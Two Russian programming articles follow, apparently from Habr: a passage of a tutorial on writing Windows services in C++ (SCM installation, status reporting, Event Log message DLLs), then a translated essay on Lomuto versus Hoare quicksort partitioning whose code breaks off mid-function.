Кроме этого, правильный сервис не должен напрямую взаимодействовать с пользователем. Что это означает на практике? Запуская любое приложение — мы видим или консольное окно, или GUI этого приложения. Системным сервисам, работающим под управлением операционных систем **Windows 2000**/**Windows XP**/**Windows 2003 Server** это тоже разрешено, такой сервис называется — *интерактивным*. Но, при этом, Начиная с **Windows Vista** — наложен запрет на интерактивные сервисы. Получается, что, разрабатывая сервис правильнее отказаться от интерактивности.
При этом в самом MSDN предлагаются следующие варианты взаимодействия с пользователем:
1) Отображение диалога функцией **WTSSendMessage()**
поведение очень гибкое, можно вывести диалог и ожидать реакции пользователя, можно просто проинформировать пользователя и продолжить работу приложения и т.д., но сервису требуется или работать с терминальными сессиями, или полагаться на то, что пользователь, активный в текущей терминальной сессии обладает нужными знаниями и правами, что бы отреагировать на всплывающее окно (многих несведующих в IT людей подобное поведение пугает, это тоже стоит учитывать при проектировании)
2) Создание отдельного приложения в текущей сессии пользователя используя **CreateProcessAsUser()**
наиболее правильный вариант, хотя бы потому, что пользователю дается простой инструмент взаимодействия с сервисом, но при этом нужно понимать, что взаимодействие должно быть организовано или через сокеты (наиболее распространенный вариант), или посредством IPC, СОМ и прочего, что несколько усложняет общий код, но упрощает сам сервис.
Так же можно не создавать отдельного исполняемого файла, а использовать тот же файл сервиса, запускаемый с определенным ключем, что несколько упростит распространение и обновление программы.
3) Вызов **MessageBox()** с параметром MB\_SERVICE\_NOTIFICATION
самый плохой вариант, сервис (или вызвавшая нить) «зависнет» на время отклика пользователя.
При установке сервиса в систему или удаление следует так же учитывать, что права на взаимодействие с SCM имеет только Администратор, или равный ему по правам пользователь.
Кроме этого, рабочей папкой сервиса является System32 Вашей системы, а прав на запись в папку, в которую установлен сервис может и не быть, поэтому для ведения журнала следует воспользоваться Eventlog самой системы (про это — ниже).
Прежде чем приводить код отмечу, что разрабатывая сервисы для NT систем, лично я предпочитаю писать полные имена функций не доверяя разворачиванию их макросами, поэтому вместо **OpenSCManager** я обычно пишу **OpenSCManagerW**.
И так, обо всем по порядку.
Точкой входа в сервис является или консольная функция main(), или WinMain(). Так как идиологически серсис — это не консольный проект — я пользуюсь второй функцией.
В самой функции следует сделать парсер командной строки и предусмотреть обработку команд *install*, *uninstall*, *run* и *stop*, сделать это можно кому как нравится. Запуск исполняемого файла без параметров будем считать запуском сервиса через SCM. Это наиболее правильное поведение. Если кто-то попробует запустить файл без ключей, сервис просто не запуститься, а обрабатывая нужные команды можно легко управлять поведением Вашего сервиса не запоминая консольный команд и параметров.
Дополнительно понадобится пара функций для проверки запущен ли сервис и установлен ли он в системе:
> `Copy Source | Copy HTML
> /\* проверка установлен ли сервис
> \*/
> bool is\_install()
> {
> bool Result = false;
> SC\_HANDLE l\_srv\_manager = NULL;
> SC\_HANDLE l\_srv\_process = NULL;
>
> l\_srv\_manager = OpenSCManagerW(NULL, NULL, SC\_MANAGER\_ALL\_ACCESS);
> if (l\_srv\_manager)
> {
> l\_srv\_process = OpenServiceW(
> l\_srv\_manager,
> g\_str\_srv\_name.c\_str(),
> SERVICE\_ALL\_ACCESS
> );
> if (l\_srv\_process)
> {
> Result = true;
> CloseServiceHandle(l\_srv\_process);
> }
> CloseServiceHandle(l\_srv\_manager);
> }
> else
> /\* не удалось подключиться к службе управления сервисами
> \*/
> MessageBoxW(
> 0,
> L"Cannot connect to Service Manager\ntry run with Administrator right !",
> L"ERROR",
> MB\_ICONERROR
> );
> return Result;
> }
> //------------------------------------------------------------------------------`
> `Copy Source | Copy HTML
> /\* проверка запущен ли сервис
> \*/
> bool is\_run()
> {
> if (!is\_install())
> return false;
>
> bool Result = false;
> SC\_HANDLE l\_srv\_manager = NULL;
> SC\_HANDLE l\_srv\_process = NULL;
>
> l\_srv\_manager = OpenSCManagerW(NULL, NULL, SC\_MANAGER\_ALL\_ACCESS);
> if (l\_srv\_manager)
> {
> l\_srv\_process = OpenServiceW(
> l\_srv\_manager,
> g\_str\_srv\_name.c\_str(),
> SERVICE\_ALL\_ACCESS
> );
> if (l\_srv\_process)
> {
> SERVICE\_STATUS\_PROCESS l\_srv\_status;
> DWORD l\_dw\_temp;
> if (QueryServiceStatusEx(
> l\_srv\_process,
> SC\_STATUS\_PROCESS\_INFO,
> reinterpret\_cast<LPBYTE> (&l\_srv\_status),
> sizeof(SERVICE\_STATUS\_PROCESS),
> &l\_dw\_temp
> ) == TRUE
> )
> {
> if (l\_srv\_status.dwCurrentState == SERVICE\_RUNNING)
> Result = true;
> }
> CloseServiceHandle(l\_srv\_process);
> }
> CloseServiceHandle(l\_srv\_manager);
> }
> else
> /\* не удалось подключиться к службе управления сервисами
> \*/
> MessageBoxW(
> 0,
> L"Cannot connect to Service Manager\ntry run with Administrator right !",
> L"ERROR",
> MB\_ICONERROR
> );
> return Result;
> }
> //------------------------------------------------------------------------------`
тут и далее g\_str\_srv\_name — строка std::wstring содержащая имя сервиса.
> `Copy Source | Copy HTML
> /\* установка сервиса
> \*/
> int srv\_install()
> {
> if (is\_install())
> return srv\_start();
>
> int Result = -1;
> SC\_HANDLE l\_srv\_manager = NULL;
> SC\_HANDLE l\_srv\_process = NULL;
>
> l\_srv\_manager = OpenSCManagerW(NULL, NULL, SC\_MANAGER\_ALL\_ACCESS);
> if (l\_srv\_manager)
> {
> std::wstring l\_wstr = get\_path();
>
> l\_srv\_process = CreateServiceW(
> l\_srv\_manager,
> g\_str\_srv\_name.c\_str(),
> g\_str\_srv\_name.c\_str(),
> SERVICE\_ALL\_ACCESS,
> SERVICE\_WIN32\_OWN\_PROCESS,
> SERVICE\_AUTO\_START,
> SERVICE\_ERROR\_NORMAL,
> (l\_wstr + get\_name()).c\_str(),
> NULL,
> NULL,
> NULL,
> NULL,
> NULL
> );
> if (l\_srv\_process)
> {
> registry\_editor\_t l\_reg\_edit;
>
> Result = 0;
>
> HKEY l\_kservice = NULL;
>
> SERVICE\_DESCRIPTIONW l\_srv\_descr;
> SERVICE\_FAILURE\_ACTIONSW l\_srv\_action\_f;
> SC\_ACTION l\_srv\_action[] =
> {
> { SC\_ACTION\_RESTART, 500 },
> { SC\_ACTION\_RESTART, 500 },
> { SC\_ACTION\_RESTART, 500 }
> };
>
> l\_srv\_descr.lpDescription = const\_cast<wchar\_t\*> (g\_str\_srv\_descr.c\_str());
> l\_srv\_action\_f.dwResetPeriod = 120;
> l\_srv\_action\_f.lpRebootMsg = NULL;
> l\_srv\_action\_f.lpCommand = NULL;
> l\_srv\_action\_f.cActions = 3;
> l\_srv\_action\_f.lpsaActions = l\_srv\_action;
>
> ChangeServiceConfig2W(
> l\_srv\_process,
> SERVICE\_CONFIG\_DESCRIPTION,
> &l\_srv\_descr
> );
> ChangeServiceConfig2W(
> l\_srv\_process,
> SERVICE\_CONFIG\_FAILURE\_ACTIONS,
> &l\_srv\_action\_f
> );
>
> // HKEY\_LOCAL\_MACHINE\Software\MyService
> l\_kservice = l\_reg\_edit.create(
> registry\_editor\_t::root::local\_mashine,
> L"Software\\MyService"
> );
> if (l\_kservice)
> {
> l\_reg\_edit.write(l\_kservice, L"Path", l\_wstr);
> l\_reg\_edit.close(l\_kservice);
> }
>
> // HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\\*
> DWORD l\_support = EVENTLOG\_ERROR\_TYPE |
> EVENTLOG\_WARNING\_TYPE |
> EVENTLOG\_INFORMATION\_TYPE;
> HKEY l\_kevent\_log = l\_reg\_edit.create(
> registry\_editor\_t::root::local\_mashine,
> (L"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\MySvrMessages").c\_str()
> );
> if (l\_kevent\_log)
> {
> l\_reg\_edit.write(
> l\_kevent\_log,
> L"EventMessageFile",
> l\_wstr + L"messages.dll"
> );
> l\_reg\_edit.write(
> l\_kevent\_log,
> L"TypesSupported",
> l\_support
> );
> l\_reg\_edit.write(
> l\_kevent\_log,
> L"CategoryMessageFile",
> l\_wstr + L"messages.dll"
> );
> l\_support = 3;
> l\_reg\_edit.write(
> l\_kevent\_log,
> L"CategoryCount",
> l\_support
> );
> }
>
> // start service
> StartServiceW(l\_srv\_process, 0, NULL);
>
> CloseServiceHandle(l\_srv\_process);
> }
> else
> {
> /\* не удалось установить сервис в систему
> \*/
> std::wstring l\_wstr = L"Installation service failed\n";
> l\_wstr += get\_error();
> MessageBoxW( 0, l\_wstr.c\_str(), L"ERROR", MB\_ICONERROR);
> }
>
> CloseServiceHandle(l\_srv\_manager);
> }
> else
> /\* не удалось подключиться к службе управления сервисами
> \*/
> MessageBoxW(
> 0,
> L"Cannot connect to Service Manager\ntry run with Administrator right !",
> L"ERROR",
> MB\_ICONERROR
> );
> return Result;
> }
> //------------------------------------------------------------------------------`
Давайте разберем, что же тут сделано:
1) get\_path()/get\_name() — это функции получения имени папки где расположен исполняемый файл сервиса и имени этого исполняемого файла. Самописные, поэтому реализация — произвольная.
2) значение флага SERVICE\_WIN32\_OWN\_PROCESS подходит для подавляющего большинства сервисов. Исключение составляют не рассматриваемые драйвера устройств и файловых систем. Второй возможный, в рамках этой статьи флаг SERVICE\_WIN32\_SHARE\_PROCESS — означает, что процесс сервиса имеет общую с другими сервисами область памяти, это требуется, если в одном исполняемом файле у Вас находится несколько сервисов. Общая область памяти позволит съэкономить оперативную память, и упростить взаимодействие сервисов, но значительно усложнит отладку, поэтому советую использовать эту возможность только четко понимая зачем она Вам нужна и что иначе — ну ни как.
3) SERVICE\_AUTO\_START — сервис запустится автоматически при старте системы. Обратите внимание, что момент запуска сервиса в таком случае — это инициализация системных служб, т.е. до входа пользователя в систему. Этот момент стоит учитывать если сервис работате на сервере. Другие возможные варианты в рамках стстьи, SERVICE\_DEMAND\_START — запуск «вручную» и SERVICE\_DISABLED — не запускать вообще.
4) Структура **SERVICE\_FAILURE\_ACTIONSW** описывает поведение SCM в случае экстренного завершения сервиса.
\* **dwResetPeriod** — период обнуления данных о поведении сервиса, задается в секундах. Значение **INFINITE** говорит о том, что данные не будут затираться.
\* **cActions** — количество элементов в массиве описывающем реакции SCM на экстренное поведение сервиса, обычно это число равно 3 (трем). Соответственно пунктам «Первый сбой», «Второй сбой» и «Последующие сбои»:
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg504.imageshack.us%2Fi%2Fapachek.png%2F%22 "ImageShack - Image And Video Hosting")
Соответственно заполнение массива l\_srv\_action[] полями { SC\_ACTION\_RESTART, 500 } означает, что сервис будет автоматически перезапускаться через каждые 500 миллисекунд после аварийного завершения.
Вся информация, заполняемая в этих полях будет сохранена в ветке реестра
**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Services\MyService**
Кроме этого следует добавить обработку сообщений сервиса, для этого добавляем специальную ветку в реестр **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Services\EventLog**. В этой ветке необходимо указать файл в ресурсах которого MMC сможет найти описание для логируемых ошибок. В принципе, можно добавить эти ресурсы и в исполняемый файл, но проще создать отдельную динамическую библиотеку (в моем случае messages.dll) Как создать эту библиотеку — напишу ниже.
Ну вот собственно и все, с установкой.
Удаление, запуск и остановку сервиса можно подсмотреть в приведенной в заголовке статье, ни чего особенного в коде этих процедур нет.
В итоге с установкой, удалением и прочими командами мы вроде разобрались, значит можно продолжать дальше.
С точкой входа в сервис хорошо рассказано в предыдущей статье, добавлю лишь несколько уточнений:
Вызвать **StartServiceCtrlDispatcherW()** Ваш сервис должен не позднее чем через 30 секунд после входа в WinMain(), иначе SCM решит, что запускаемый процесс «завис» и выгрузит его.
Далее, наиболее правильным поведением сервиса будет сперва объявление статуса как «запускаюсь», а потом смена его на «запущен», впрочем, ни что не мешает установить статус сервиса как «запущен» сразу.
Для этого в ServiceMain нужно выполнить следующие действия:
> `Copy Source | Copy HTML
> /\* основная функция сервиса
> \*/
> void service\_t::main()
> {
> m\_handle = RegisterServiceCtrlHandlerExW(
> g\_str\_srv\_name.c\_str(),
> &service\_handler,
> NULL
> );
> if (!m\_handle)
> {
> system\_logger\_t::instance()->trace\_info(
> L"register service handler failed"
> );
> \_set\_stop();
> return;
> }
> //
> m\_status.dwCurrentState = SERVICE\_START\_PENDING;
> m\_status.dwWin32ExitCode = ERROR\_SERVICE\_SPECIFIC\_ERROR;
> m\_status.dwServiceSpecificExitCode = ERROR\_NOT\_READY;
> m\_status.dwWaitHint = 5000;
> if (SetServiceStatus(m\_handle, &m\_status) == FALSE)
> {
> std::wstring l\_error = get\_error();
> system\_logger\_t::instance()->trace\_info(l\_error);
> \_set\_stop();
> return;
> }
> //
> SetUnhandledExceptionFilter(exception\_filter);
> SetErrorMode(SEM\_FAILCRITICALERRORS);
> // init
> // ----
> m\_status.dwControlsAccepted = SERVICE\_ACCEPT\_STOP |
> SERVICE\_ACCEPT\_SESSIONCHANGE |
> SERVICE\_ACCEPT\_SHUTDOWN;
> m\_status.dwWin32ExitCode = NO\_ERROR;
> m\_status.dwCurrentState = SERVICE\_RUNNING;
> m\_status.dwWaitHint = 0;
> if (SetServiceStatus(m\_handle, &m\_status) == FALSE)
> {
> std::wstring l\_error = get\_error();
> trace\_msg(l\_error);
> system\_logger\_t::instance()->trace\_info(l\_error);
> return;
> }
> m\_run = true;
> system\_logger\_t::instance()->trace\_info(
> L"service start success"
> );
> while ( true )
> {
> if (!m\_run)
> {
> break;
> }
> else
> Sleep(10);
> }
> \_set\_stop();
> }
> //------------------------------------------------------------------------------
> /\*
> \*/
> void service\_t::\_set\_stop()
> {
> m\_status.dwCurrentState = SERVICE\_STOPPED;
> SetServiceStatus(m\_handle, &m\_status);
> system\_logger\_t::instance()->trace\_info(
> L"MyService stop"
> );
> }
> //------------------------------------------------------------------------------`
Тут сервис сообщает SCM, что ему требуется 5 секунд на инициализацию, это означает, что до того, как истечет эти 5 секунд необходимо сообщить SCM о завершении инициализации. Иначе сервис будет выгружен как «зависший».
В приведенном выше коде предполагается, что при инициализации класса сервиса поля структуры были заполнены следующим образом:
`memset(&m_status, 0, sizeof(SERVICE_STATUS));
m_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;`
При этом значение поля **dwServiceType** должно соответствовать типу сервиса, который мы указали при установке, иначе SCM расценит это как неправильное поведение и не даст сервису запуститься.
Скрытие сообщений об ошибках и перехват исключений позволят самостоятельно обработать ошибки в коде программы, а так же, порой позволят избежать подвисания сервиса. Дополнительно это избавит пользователя от необходимости отправлять отчеты об ошибках разработчикам из Microsoft.
Естественноым будет вставка в тело основного цикла сервиса **Sleep(10)** для того, что бы дать возможность нормально функционировать другим программам (описание этого выходит за рамки этой статьи).
Обработчик сообщений у меня выглядит так:
> `Copy Source | Copy HTML
> /\* обработчик событий системы
> \*/
> DWORD service\_t::handler(DWORD dwControl,
> DWORD dwEnterType,
> LPVOID lpEventData,
> LPVOID lpContext)
> {
> switch (dwControl)
> {
> case SERVICE\_CONTROL\_STOP:
> case SERVICE\_CONTROL\_SHUTDOWN:
> system\_logger\_t::instance()->trace\_info(
> L"service try to stop"
> );
> m\_status.dwCurrentState = SERVICE\_STOP\_PENDING;
> m\_status.dwWaitHint = 10000;
> SetServiceStatus(m\_handle, &m\_status);
> m\_run = false;
> break;
> case SERVICE\_CONTROL\_SESSIONCHANGE:
> break;
> default:
> SetServiceStatus(m\_handle, &m\_status);
> }
> return NO\_ERROR;
> }
> //------------------------------------------------------------------------------`
Собственно осталось то, что освещено в Интернете меньше всего, как правильно добавить сообщение из сервиса в журнал системы. О том, как зарегистрировать библиотеку в реестре уже написано выше, теперь о том, как эту библиотеку создать.
1) создаем файл с расширением .mc примерно следующего содержания:
> `Copy Source | Copy HTML
> MessageIdTypedef = DWORD
> SeverityNames =
> (
> Success = 0x0 : STATUS\_SEVERITY\_SUCCESS
> Informational = 0x1 : STATUS\_SEVERITY\_INFORMATIONAL
> Warning = 0x2 : STATUS\_SEVERITY\_WARNING
> Error = 0x3 : STATUS\_SEVERITY\_ERROR
> )
>
> FacilityNames =
> (
> System = 0x0 : FACILITY\_SYSTEM
> Runtime = 0x2 : FACILITY\_RUNTIME
> Io = 0x3 : FACILITY\_IO\_ERROR\_CODE
> )
>
> LanguageNames =
> (
> English = 0x409 : MSG00409
> )
>
> ;// messages definition
> MessageId = 0x1
> Severity = Success
> Facility = System
> SymbolicName = SRV\_MSG\_SYSTEM\_SUCCESS
> Language = English
> Operation %1 success
> .`
Зарезервировано четыре уровня важности сообщений и они не должны меняться, а вот индекс объекта (FacilityNames) — произвольный. Завершение описания — точка в новой строке, это не стоит забывать.
MessageID должен быть уникален для каждого описываемого типа сообщений (например 1, 2, 3 и т.д.)
Этот файл необходимо «скомпилировать» в ресурсный, для этого в поставке MSVS имеется mc.exe, создающий из .mc файлов .h и .rc
Заголовочный файл, сгенерированный утилитой необходимо подключить к проекту, а ресурсный собрать в библиотеку (или подключить к исполняемому файлу).
`rc -r messages.rc
link -dll -noentry -out:messages.dll messages.res`
Интересной особенностью является то, что для просмотра сообщений в корректном формате требуется перезапуск службы Eventlog. В противном случае Вы увидите что-то такое:
`Не найдено описание для события с кодом ( 1 ) в источнике ( MySrvMessages ). Возможно, на локальном компьютере нет нужных данных в реестре или файлов DLL сообщений для отображения сообщений удаленного компьютера. Попробуйте использовать ключ /AUXSOURCE= для получения этого описания, - дополнительные сведения об этом содержатся в справке. В записи события содержится следующая информация: service starting.`
Приятной возможностью является то, что журнал сообщений сервис может вести и свой, а не складывать в общий для всех приложений. Для этого, при регистрации библиотеки описания сообщений необходимо указать не ветку **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application**, а **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\MyService**.
Но тут есть занятный нюанс.
После создания ветки реестра в MMC появится соответствующая папка в «Событиях», но в некоторых случаях, сообщения из этой ветки не обрабатываются корректно даже после перезапуска Eventlog. В таких, «тяжелых случаях», требуется перезапуск компьютера, что может быть проблематично для сервера. Но, к счастью, встречается это крайне редко.
Ну собственно и все. Получилось много текста, много кода, но это и там, по моему мнению минимум, который необходимо знать. Остальное легко почерпнуть из Интернета и MSDN. | https://habr.com/ru/post/91476/ | null | ru | null |
# Триумфальное возвращение Ломуто
*США, Техас, Остин, клуб Continental
Воскресенье, 5 января 1987 г.*
— Спасибо за приглашение, мистер Ломуто. Скоро я возвращаюсь в Англию, так что это было очень вовремя.
— Спасибо, что согласились со мной встретиться, мистер… сэр… Чарльз… Энтони Ричард… Хоар. Это большая честь для меня. Я даже не знаю, как к вам обращаться. У вас есть рыцарский титул?
— Зовите меня Тони, и, если вы позволите, я буду называть вас Нико.
На первый взгляд — обычная картина: два человека наслаждаются виски. Однако внимательному наблюдателю открываются интригующие подробности. Прежде всего — напряжение, которое можно было резать ножом.
Одетый в безупречно подогнанный костюм-тройку с нарочитой небрежностью, на какую способен только англичанин, Тони Хоар был таким же воплощением Британии, как и чашка чая. Смиренное выражение лица, с которым он попивал из своего стакана, без всяких слов выражало его мнение в споре между бурбоном и скотчем. Сидевший напротив Нико Ломуто представлял полную ему противоположность: одетый в джинсы программист, мешавший виски с колой (что для Тони было настолько возмутительно, что он сразу решил подчёркнуто это игнорировать — как резкий запах пота или оскорбительную татуировку), в состоянии некого расслабленного трепета перед гигантом информатики, с которым он только что познакомился лично.
— Послушайте, Тони, — сказал Нико после того, как иссякли темы для обычной лёгкой беседы. — По поводу того алгоритма разбиения. Я даже не собирался его публиковать...
— Что? Ах да, алгоритм разбиения, — Тони поднял брови в притворном изумлении, словно забыв, что каждая статья или книга о быстрой сортировке за последние пять лет упоминала их имена вместе. Очевидно, что именно это связывало этих двух людей и было причиной этой встречи, но Тони, как безупречный джентльмен, мог бы часами говорить о погоде, если бы собеседник не упомянул о стоящем в комнате розовом слоне.
— Да, тот самый алгоритм разбиения, который постоянно вспоминают в связи с вашим, — продолжал Нико. — Я не большой теоретик в области алгоритмов. Я работаю над Ada, и всю эту штуку с разбиением придумал только для развлечения. Но что меня беспокоит, — говорил Нико непринуждённым тоном человека, которому нечего скрывать, — что этот алгоритм ничем не лучше. [Моя схема разбиения](https://en.wikipedia.org/wiki/Quicksort#Lomuto_partition_scheme) всегда делает столько же сравнений и по крайней мере столько же обменов, сколько и [ваша](https://www.techiedelight.com/quick-sort-using-hoares-partitioning-scheme/). В худшем случае мой алгоритм делает *n* дополнительных обменов — *n*! Я не понимаю, почему его продолжают вспоминать. Я уже ничего не могу с этим сделать. Я не знаю, каким алгоритмам стоит учить студентов. Это как сортировка пузырьком. Каждый раз, когда кто-то упоминает быструю сортировку, в аудитории обязательно оказывается какой-то пустоголовый (или пузырькоголовый?) болван, который скажет: а я ещё слышал про сортировку пузырьком. У меня от этого кровь вскипает.
Нико вздохнул. Тони кивнул. Собеседники нашли общий язык. Взаимопонимание заполнило воздух так же внезапно, тихо и приятно, как запах печенья из духовки. Часы тикали. С одной стороны стола Нико потягивал свой виски с колой. С другой — Тони попивал бурбон со всё тем же выражением лица.
Тони заговорил, тщательно выбирая слова, как учёный, стремящийся рассмотреть каждую гипотезу:
— Я понимаю, Нико. Но подумайте вот о чём. Ваш алгоритм прост и постоянен, двигается в одном направлении и делает по крайней мере один обмен каждый шаг. Возможно, в будущем появятся машины, которые...
— Неважно, какая машина: меньшее количество обменов всегда лучше, чем большее. Это просто здравый смысл, — категорически возразил Нико.
— Я бы не был так уверен. Компьютеры не руководствуются здравым смыслом. Порой они удивляют. Надо полагать, что и дальше будут удивлять. А сейчас давайте наслаждаться этим вечером. Нет ничего лучше интересной беседы в тихом клубе.
— Согласен. Хорошее место. Скоро должна начаться живая музыка в стиле кантри.
— Прелестно, — к собственному изумлению Тони выдавил вежливую улыбку.
*США, Массачусетс, Честнат-Хилл
Наши дни*
Многие годы я живу с тщательно скрываемой зависимостью от проблем сортировки. Скрыть её было нетрудно: нездоровый интерес к вопросам сортировки — социально приемлемая форма профессиональной деформации. Уверен, что немало программистов потратили одну или две бессонных ночи, чтобы попробовать ещё одну идею сортировки, которая уж точно окажется лучше всех остальных. Потому никто не повёл бровью, когда ещё в 2002 году я написал о сортировке. (Слышали про fit pivot? [Конечно же не слышали](https://www.drdobbs.com/generic-efficient-generic-sorting-and-se/184403848)). Никто не стал вмешиваться, когда я разработал функцию [`std.sort` в D](https://dlang.org/library/std/algorithm/sorting/sort.html), которая, как оказалось, [в некоторых случаях выдавала квадратичную сложность](https://forum.dlang.org/post/kl4adn%24303n%241@digitalmars.com) (с тех пор это, к счастью, исправлено). Никто не поднял шума даже когда я написал [научную статью о задаче выбора](https://erdani.com/research/sea2017.pdf) (которая рука об руку идёт с задачей сортировки), будучи независимым участником конференции, чем впечатлил даже организаторов. И даже мой [доклад о сортировке](https://www.youtube.com/watch?v=FJJTYQYB1JQ) на CppCon 2019 не вызвал публичного скандала. Программисты — свои люди, они всё понимают.
Я стараюсь соблюдать воздержание. Как там говорят, «жить по одному дню»? Но всё же я почувствовал внутри себя волнение, когда увидел заголовок одной недавней статьи: «Ошибки в предсказании переходов не затрагивают сортировку слиянием» ([Branch Mispredictions Don’t Affect Mergesort](http://researchgate.net/publication/255567817_Branch_Mispredictions_Don't_Affect_Mergesort)). Какое заманчивое название. Для начала: а что, ошибки в предсказании переходов должны были затрагивать сортировку слиянием? Я понятия не имел, главным образом потому что все вплоть до вашей бабушки используют быструю сортировку, так что сортировка слиянием никогда не попадала в поле моего внимания. Но слушайте, мне об этом даже не нужно волноваться, потому что заголовок говорит, что проблема, о существовании о которой я даже не знал, вовсе не является проблемой. Так что в этом смысле заголовок сам себя отменяет. Но я всё же прочитал статью (и вам тоже советую), и помимо многих других интересных вещей кое-что особенно зацепило моё внимание: схема разбиения Ломуто рассматривалась как серьёзный соперник повсеместно используемому разбиению Хоара с точки зрения эффективности. Эффективности!
Оказывается, современные компьютерные архитектуры иногда действительно идут наперекор здравому смыслу.
Разбить, быть может, отсортировать
----------------------------------
Давайте по-быстрому пробежимся по двум схемам разбиения. Разбить массив значит организовать элементы так, чтобы все элементы, меньшие или равные опорному элементу, были слева от него, а элементы, большие или равные ему, — справа. Окончательная позиция опорного элемента должна быть на границе разбиений. (Если есть несколько равных опорных элементов, то окончательная позиция может разниться, из чего вытекают практические последствия, но в данной дискуссии можно принять, что все значения в массиве уникальны).
Схема разбиения Ломуто проходится по массиву слева направо, сохраняя индексы «чтения» и «записи», начинающиеся с 0. Каждый считываемый элемент сравнивается с опорным: если он больше, то он пропускается (индекс чтения переходит на шаг вперёд). В противном случае значение под индексом чтения меняется местами со значением под индексом записи, и оба индекса передвигаются на шаг вперёд. Когда чтение закончено, индекс записи определяет место разбиения. В качестве иллюстрации — анимация ниже (сделано пользователем Википедии под ником Mastremo, используется без изменений согласно [лицензии CC-BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/deed.en)).
Проблема с разбиением Ломуто в том, что оно может делать ненужные обмены. Возьмём экстремальный случай, когда только самый первый слева элемент больше опорного. Каждая итерация алгоритма будет неуклюже перемещать этот элемент на одну позицию вправо, подобно, эм, сортировке пузырьком.
Схема разбиения Хоара элегантно решает эту проблему, итерируя массив с двух сторон двумя парами индексов «чтения» и «записи». Алгоритм пропускает элементы, которые уже находятся в положенных местах (слева — меньше, справа — больше) и меняет местами только меньший элемент слева с б́ольшим элементом справа. Когда индексы встречаются, массив разбит вокруг места встречи. Большинство современных реализаций быстрой сортировки используют разбиение Хоара, по очевидным причинам: оно делает столько же сравнений, что и разбиение Ломуто, и меньше обменов.
Учитывая, что разбиение Хоара очевидно делает меньше работы, чем разбиение Ломуто, возникает вопрос, зачем тогда вообще учить студентов последнему. Александр Степанов — создатель STL — написал [отличную статью о разбиении](http://www.stepanovpapers.com/PAM3-partition_notes.pdf) и привёл аргумент об обобщённости: для разбиения Ломуто достаточно итерирования в одну сторону, тогда как разбиение Хоара требует двунаправленного итерирования. Это ценная мысль, хотя её практическая ценность невелика: да, вы можете использовать разбиение Ломуто на односвязных списках, но обычно разбиение делают ради быстрой сортировки, а для односвязных списков быстрая сортировка — плохой выбор, здесь лучше подойдёт сортировка слиянием.
И всё же существует очень практичный — и очень неожиданный — довод в пользу разбиения Ломуто, и в нём заключается гвоздь всей статьи: если реализовать разбиение Ломуто без ветвления, то на случайных данных оно становится намного быстрее разбиения Хоара. Учитывая, что быстрая сортировка большую часть времени тратит на разбиение, то это сулит нам солидный выигрыш в производительности быстрой сортировки (да, я говорю об индустриальных реализациях в стандартных библиотеках в C++ и D), если мы заменим алгоритм разбиения на тот, который буквально делает больше работы.
Вы всё правильно прочитали.
Время расчехлить код
--------------------
Давайте посмотрим на аккуратную реализацию разбиения Хоара. Чтобы исключить все лишние подробности, код в этой статье написан для типа `long` в качестве элемента и использует простые указатели. Он компилируется и работает одинаково что в C++, что в D. Код в этой статье останется универсальным для обоих языков, поскольку исследовательская литература часто использует в качестве стандарта `std::sort` из C++.
```
/**
Partition using the minimum of the first and last element as pivot.
Returns: a pointer to the final position of the pivot.
*/
long* hoare_partition(long* first, long* last) {
assert(first <= last);
if (last - first < 2)
return first; // nothing interesting to do
--last;
if (*first > *last)
swap(*first, *last);
auto pivot_pos = first;
auto pivot = *pivot_pos;
for (;;) {
++first;
auto f = *first;
while (f < pivot)
f = *++first;
auto l = *last;
while (pivot < l)
l = *--last;
if (first >= last)
break;
*first = l;
*last = f;
--last;
}
--first;
swap(*first, *pivot_pos);
return first;
}
```
Возможно, выбор опорного элемента покажется вам странным, но не волнуйтесь: обычно используется более сложная схема (например, медиана трёх значений), но для основного цикла важно лишь, чтобы опорный элемент не был самым большим элементом массива. Это позволит основному циклу опустить некоторые проверки без риска выйти за пределы массива.
Эффективность этой реализации заслуживает многих похвал (и вероятно, именно такой код, с минимальными отличиями, вы увидите в стандартных библиотеках [C++](https://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-html-USERS-4.4/a01347.html#l02202) и [D](https://github.com/dlang/phobos/blob/v2.091.1/std/algorithm/sorting.d#L450)). По этому коду видно, что его написали люди, которые ничего в своей жизни не делают просто так. Люди, которые аккуратно стригут ногти, приходят когда обещают прийти и регулярно звонят маме. Которые делают упражнения ушу каждое утро и не дают ни одному циклу компьютера уйти впустую. В этом коде нет ни одной торчащей нитки. Генерируемый ассемблер исключительно ёмок и почти одинаков для C++ и D. Отличия есть только между бэкендами: LLVM ([clang](https://godbolt.org/z/SWdu_5) и [ldc](https://godbolt.org/z/SN447V)) показывает небольшое преимущество по размеру перед gcc ([g++](https://godbolt.org/z/ALe3BP) и [gdc](https://godbolt.org/z/eKeuFW)).
Ниже показана черновая версия разбиения Ломуто, которая хорошо подходит для объяснения, но не очень эффективна:
```
/**
Choose the pivot as the first element, then partition.
Returns: a pointer to the final position of the pivot.
*/
long* lomuto_partition_naive(long* first, long* last) {
assert(first <= last);
if (last - first < 2)
return first; // nothing interesting to do
auto pivot_pos = first;
auto pivot = *first;
++first;
for (auto read = first; read < last; ++read) {
if (*read < pivot) {
swap(*read, *first);
++first;
}
}
--first;
swap(*first, *pivot_pos);
return first;
}
```
Начать с того, что этот код будет делать слишком много бессмысленных обменов (обменов элемента массива с самим собой), если несколько элементов слева окажутся больше опорного элемента. Всё это время `first` будет равно `write`, и менять местами `*first` с `*write` будет пустой тратой времени. Давайте исправим это, добавив предварительный цикл, который будет пропускать неинтересное начало массива:
```
/**
Partition using the minimum of the first and last element as pivot.
Returns: a pointer to the final position of the pivot.
*/
long* lomuto_partition(long* first, long* last) {
assert(first <= last);
if (last - first < 2)
return first; // nothing interesting to do
--last;
if (*first > *last)
swap(*first, *last);
auto pivot_pos = first;
auto pivot = *first;
// Prelude: position first (the write head) on the first element
// larger than the pivot.
do {
++first;
} while (*first < pivot);
assert(first <= last);
// Main course.
for (auto read = first + 1; read < last; ++read) {
auto x = *read;
if (x < pivot) {
*read = *first;
*first = x;
